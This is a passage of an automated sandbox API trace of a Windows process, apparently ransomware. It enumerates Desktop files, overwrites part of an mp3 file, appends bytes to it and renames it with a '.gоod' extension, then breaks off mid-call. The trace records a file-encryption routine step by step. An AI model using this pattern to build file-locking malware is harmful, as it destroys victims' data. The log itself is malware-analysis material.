nFileSizeHigh=0x0, nFileSizeLow=0x4f6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EE8wxCjm7.docx", cAlternateFileName="EE8WXC~1.DOC")) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f16af0, ftCreationTime.dwHighDateTime=0x1d4d070, ftLastAccessTime.dwLowDateTime=0x553ec690, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x553ec690, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0x18e7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FbuxnMa_peQfh.wav", cAlternateFileName="FBUXNM~1.WAV")) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9ae180, ftCreationTime.dwHighDateTime=0x1d5c5e3, ftLastAccessTime.dwLowDateTime=0xfa9ae180, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xf8d11e00, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x37e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="frost.exe", cAlternateFileName="")) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0514720, ftCreationTime.dwHighDateTime=0x1d4ce4c, ftLastAccessTime.dwLowDateTime=0xb7c42d30, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0xb7c42d30, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0xa5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GtZeMZRE.png", cAlternateFileName="")) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26fdc7a0, ftCreationTime.dwHighDateTime=0x1d4cc21, ftLastAccessTime.dwLowDateTime=0xb56f5390, ftLastAccessTime.dwHighDateTime=0x1d4ca0b, ftLastWriteTime.dwLowDateTime=0xb56f5390, ftLastWriteTime.dwHighDateTime=0x1d4ca0b, nFileSizeHigh=0x0, nFileSizeLow=0xc876, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gx-wgH_OvpW.mp3", cAlternateFileName="GX-WGH~1.MP3")) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa2b6a0, ftCreationTime.dwHighDateTime=0x1d4cf35, ftLastAccessTime.dwLowDateTime=0xe4552340, ftLastAccessTime.dwHighDateTime=0x1d4ca7b, ftLastWriteTime.dwLowDateTime=0xe4552340, ftLastWriteTime.dwHighDateTime=0x1d4ca7b, nFileSizeHigh=0x0, nFileSizeLow=0x20d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiDyxzh7PeBvTBY.jpg", cAlternateFileName="HIDYXZ~1.JPG")) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7951a960, ftCreationTime.dwHighDateTime=0x1d4d06b, ftLastAccessTime.dwLowDateTime=0x1276a60, ftLastAccessTime.dwHighDateTime=0x1d4ca03, ftLastWriteTime.dwLowDateTime=0x1276a60, ftLastWriteTime.dwHighDateTime=0x1d4ca03, nFileSizeHigh=0x0, nFileSizeLow=0x13bbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J30oyBmwxo_7keQK41v.xlsx", cAlternateFileName="J30OYB~1.XLS")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bdeed80, ftCreationTime.dwHighDateTime=0x1d4d029, ftLastAccessTime.dwLowDateTime=0xbaad3aa0, ftLastAccessTime.dwHighDateTime=0x1d4c918, ftLastWriteTime.dwLowDateTime=0xbaad3aa0, ftLastWriteTime.dwHighDateTime=0x1d4c918, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="JDDtTYhODvukacc9.m4a", cAlternateFileName="JDDTTY~1.M4A")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3360400, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x50b18030, ftLastAccessTime.dwHighDateTime=0x1d4c8db, ftLastWriteTime.dwLowDateTime=0x50b18030, ftLastWriteTime.dwHighDateTime=0x1d4c8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JTihJh_fu7", cAlternateFileName="JTIHJH~1")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37201800, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0xa897db80, ftLastAccessTime.dwHighDateTime=0x1d4c86a, ftLastWriteTime.dwLowDateTime=0xa897db80, ftLastWriteTime.dwHighDateTime=0x1d4c86a, nFileSizeHigh=0x0, nFileSizeLow=0x7b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="l2gI.docx", cAlternateFileName="L2GI~1.DOC")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e44f10, ftCreationTime.dwHighDateTime=0x1d4cd32, ftLastAccessTime.dwLowDateTime=0x2faacf10, ftLastAccessTime.dwHighDateTime=0x1d4d545, ftLastWriteTime.dwLowDateTime=0x2faacf10, ftLastWriteTime.dwHighDateTime=0x1d4d545, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="LPs2VQmf 4OhqVEQ.wav", cAlternateFileName="LPS2VQ~1.WAV")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba2a7b0, ftCreationTime.dwHighDateTime=0x1d4cc33, ftLastAccessTime.dwLowDateTime=0x55b27d0, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x55b27d0, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x64c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="lTidx6f4q7CDjc_4.wav", cAlternateFileName="LTIDX6~1.WAV")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb55ba8b0, ftCreationTime.dwHighDateTime=0x1d4d3c8, ftLastAccessTime.dwLowDateTime=0x22e91d30, ftLastAccessTime.dwHighDateTime=0x1d4c754, ftLastWriteTime.dwLowDateTime=0x22e91d30, ftLastWriteTime.dwHighDateTime=0x1d4c754, nFileSizeHigh=0x0, nFileSizeLow=0x6d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="MivJHTamm_ESG0R_.avi", cAlternateFileName="MIVJHT~1.AVI")) returned 1 [0177.984] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a7b6b0, ftCreationTime.dwHighDateTime=0x1d4d442, ftLastAccessTime.dwLowDateTime=0x769da660, ftLastAccessTime.dwHighDateTime=0x1d4d2af, ftLastWriteTime.dwLowDateTime=0x769da660, ftLastWriteTime.dwHighDateTime=0x1d4d2af, nFileSizeHigh=0x0, nFileSizeLow=0x3931, dwReserved0=0x0, dwReserved1=0x0, cFileName="mubJ5UsfpVxVjsxJ _a.gif", cAlternateFileName="MUBJ5U~1.GIF")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8bcab0, ftCreationTime.dwHighDateTime=0x1d4d434, ftLastAccessTime.dwLowDateTime=0x1a1eb2f0, ftLastAccessTime.dwHighDateTime=0x1d4cb87, ftLastWriteTime.dwLowDateTime=0x1a1eb2f0, ftLastWriteTime.dwHighDateTime=0x1d4cb87, nFileSizeHigh=0x0, nFileSizeLow=0x11115, dwReserved0=0x0, dwReserved1=0x0, cFileName="nPDB.flv", cAlternateFileName="")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6338b960, ftCreationTime.dwHighDateTime=0x1d4cb49, ftLastAccessTime.dwLowDateTime=0x52bbce0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x52bbce0, ftLastWriteTime.dwHighDateTime=0x1d4cab9, nFileSizeHigh=0x0, nFileSizeLow=0x175ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="TPrVWKSms.ppt", cAlternateFileName="TPRVWK~1.PPT")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cb9930, ftCreationTime.dwHighDateTime=0x1d4d5ff, ftLastAccessTime.dwLowDateTime=0xa11890d0, ftLastAccessTime.dwHighDateTime=0x1d4c5f8, ftLastWriteTime.dwLowDateTime=0xa11890d0, ftLastWriteTime.dwHighDateTime=0x1d4c5f8, nFileSizeHigh=0x0, nFileSizeLow=0x178cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtymZ4s.gif", cAlternateFileName="")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8638cb0, ftCreationTime.dwHighDateTime=0x1d4ccd1, ftLastAccessTime.dwLowDateTime=0x78223990, ftLastAccessTime.dwHighDateTime=0x1d4d0f9, ftLastWriteTime.dwLowDateTime=0x78223990, ftLastWriteTime.dwHighDateTime=0x1d4d0f9, nFileSizeHigh=0x0, nFileSizeLow=0x887e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgL8q5mQeu.jpg", cAlternateFileName="WGL8Q5~1.JPG")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22eb3b0, ftCreationTime.dwHighDateTime=0x1d4c7b0, ftLastAccessTime.dwLowDateTime=0xc2289ba0, ftLastAccessTime.dwHighDateTime=0x1d4c6d2, ftLastWriteTime.dwLowDateTime=0xc2289ba0, ftLastWriteTime.dwHighDateTime=0x1d4c6d2, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="XbKr.doc", cAlternateFileName="")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1951010, ftCreationTime.dwHighDateTime=0x1d4d452, ftLastAccessTime.dwLowDateTime=0xbc2e7790, ftLastAccessTime.dwHighDateTime=0x1d4d449, ftLastWriteTime.dwLowDateTime=0xbc2e7790, ftLastWriteTime.dwHighDateTime=0x1d4d449, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xjcy8Z.flv", cAlternateFileName="")) returned 1 [0177.985] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84f880, ftCreationTime.dwHighDateTime=0x1d4ca65, ftLastAccessTime.dwLowDateTime=0xf3015960, ftLastAccessTime.dwHighDateTime=0x1d4c8fd, ftLastWriteTime.dwLowDateTime=0xf3015960, ftLastWriteTime.dwHighDateTime=0x1d4c8fd, nFileSizeHigh=0x0, nFileSizeLow=0x128ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZE0eXN9ZMJpTdW014D_L.mkv", cAlternateFileName="ZE0EXN~1.MKV")) returned 1 [0177.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c1b91f0, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x5f447920, ftLastAccessTime.dwHighDateTime=0x1d4c685, ftLastWriteTime.dwLowDateTime=0x5f447920, ftLastWriteTime.dwHighDateTime=0x1d4c685, nFileSizeHigh=0x0, nFileSizeLow=0x130f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkpbjspKkUnB9s3m-qm.csv", cAlternateFileName="ZKPBJS~1.CSV")) returned 1 [0177.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28eb3a0, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0x7ba53130, ftLastAccessTime.dwHighDateTime=0x1d4c866, ftLastWriteTime.dwLowDateTime=0x7ba53130, ftLastWriteTime.dwHighDateTime=0x1d4c866, nFileSizeHigh=0x0, nFileSizeLow=0x43bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="zkrreV1xVjO2bbl.png", cAlternateFileName="ZKRREV~1.PNG")) returned 1 [0177.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa134d720, ftCreationTime.dwHighDateTime=0x1d4c613, ftLastAccessTime.dwLowDateTime=0xc184f8c0, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0xc184f8c0, ftLastWriteTime.dwHighDateTime=0x1d4cfbe, nFileSizeHigh=0x0, nFileSizeLow=0xd8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZngUBwJ274oCix02C8E.gif", cAlternateFileName="ZNGUBW~1.GIF")) returned 1 [0177.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc45a90, ftCreationTime.dwHighDateTime=0x1d4d10d, ftLastAccessTime.dwLowDateTime=0x90f8b7c0, ftLastAccessTime.dwHighDateTime=0x1d4d18d, ftLastWriteTime.dwLowDateTime=0x90f8b7c0, ftLastWriteTime.dwHighDateTime=0x1d4d18d, nFileSizeHigh=0x0, nFileSizeLow=0x221a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zwntIf13YyB.rtf", cAlternateFileName="ZWNTIF~1.RTF")) returned 1 [0177.986] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc45a90, ftCreationTime.dwHighDateTime=0x1d4d10d, ftLastAccessTime.dwLowDateTime=0x90f8b7c0, ftLastAccessTime.dwHighDateTime=0x1d4d18d, ftLastWriteTime.dwLowDateTime=0x90f8b7c0, ftLastWriteTime.dwHighDateTime=0x1d4d18d, nFileSizeHigh=0x0, nFileSizeLow=0x221a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zwntIf13YyB.rtf", cAlternateFileName="ZWNTIF~1.RTF")) returned 0 [0177.986] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0177.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0177.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0177.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", lpFilePart=0x0) returned 0x24 [0177.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0177.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), fInfoLevelId=0x0, lpFileInformation=0x35d4c50 | out: lpFileInformation=0x35d4c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd174a700, ftCreationTime.dwHighDateTime=0x1d4d093, ftLastAccessTime.dwLowDateTime=0xaeffc1b0, ftLastAccessTime.dwHighDateTime=0x1d4d08d, ftLastWriteTime.dwLowDateTime=0xaeffc1b0, ftLastWriteTime.dwHighDateTime=0x1d4d08d, nFileSizeHigh=0x0, nFileSizeLow=0xbc77)) returned 1 [0177.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0177.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", lpFilePart=0x0) returned 0x24 [0177.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0177.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0177.987] GetFileType (hFile=0x7f8) returned 0x1 [0177.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0177.987] GetFileType (hFile=0x7f8) returned 0x1 [0177.987] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0177.987] ReadFile (in: hFile=0x7f8, lpBuffer=0x35d4fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x35d4fe8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0177.988] CloseHandle (hObject=0x7f8) returned 1 [0177.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", lpFilePart=0x0) returned 0x24 [0177.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0177.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0177.988] GetFileType (hFile=0x7f8) returned 0x1 [0177.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0177.988] GetFileType (hFile=0x7f8) returned 0x1 [0177.988] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xbc77 [0177.988] WriteFile (in: hFile=0x7f8, lpBuffer=0x35d6240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x35d6240*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0177.988] CloseHandle (hObject=0x7f8) returned 1 [0177.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", lpFilePart=0x0) returned 0x24 [0177.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0177.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0177.989] GetFileType (hFile=0x7f8) returned 0x1 [0177.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0177.989] GetFileType (hFile=0x7f8) returned 0x1 [0177.989] ReadFile (in: hFile=0x7f8, lpBuffer=0x35d84c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x35d84c0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0179.553] CloseHandle (hObject=0x7f8) returned 1 [0179.553] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", lpFilePart=0x0) returned 0x24 [0179.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0179.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0179.553] GetFileType (hFile=0x7f8) returned 0x1 [0179.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0179.554] GetFileType (hFile=0x7f8) returned 0x1 [0179.554] WriteFile (in: hFile=0x7f8, lpBuffer=0x341f600*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x341f600*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0179.554] CloseHandle (hObject=0x7f8) returned 1 [0180.953] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3", lpFilePart=0x0) returned 0x24 [0180.953] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3.gоod", lpFilePart=0x0) returned 0x29 [0180.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0180.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd174a700, ftCreationTime.dwHighDateTime=0x1d4d093, ftLastAccessTime.dwLowDateTime=0xaeffc1b0, ftLastAccessTime.dwHighDateTime=0x1d4d08d, ftLastWriteTime.dwLowDateTime=0x673cfb2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbc87)) returned 1 [0180.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0180.954] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\0aeCF7J4.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\0aecf7j4.mp3.gоod")) returned 1 [0182.291] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", lpFilePart=0x0) returned 0x2d [0182.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0182.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), fInfoLevelId=0x0, lpFileInformation=0x36682e8 | out: lpFileInformation=0x36682e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73255ec0, ftCreationTime.dwHighDateTime=0x1d4d38f, ftLastAccessTime.dwLowDateTime=0x6be02a80, ftLastAccessTime.dwHighDateTime=0x1d4ca04, ftLastWriteTime.dwLowDateTime=0x6be02a80, ftLastWriteTime.dwHighDateTime=0x1d4ca04, nFileSizeHigh=0x0, nFileSizeLow=0x2b33)) returned 1 [0182.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0182.291] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", lpFilePart=0x0) returned 0x2d [0182.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0182.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\1llcqggic9x-_t8cv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0182.292] GetFileType (hFile=0x824) returned 0x1 [0182.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0182.292] GetFileType (hFile=0x824) returned 0x1 [0182.292] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0182.292] ReadFile (in: hFile=0x824, lpBuffer=0x36686c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36686c0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0182.293] CloseHandle (hObject=0x824) returned 1 [0182.293] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\1Llcqggic9x-_T8cv.swf", 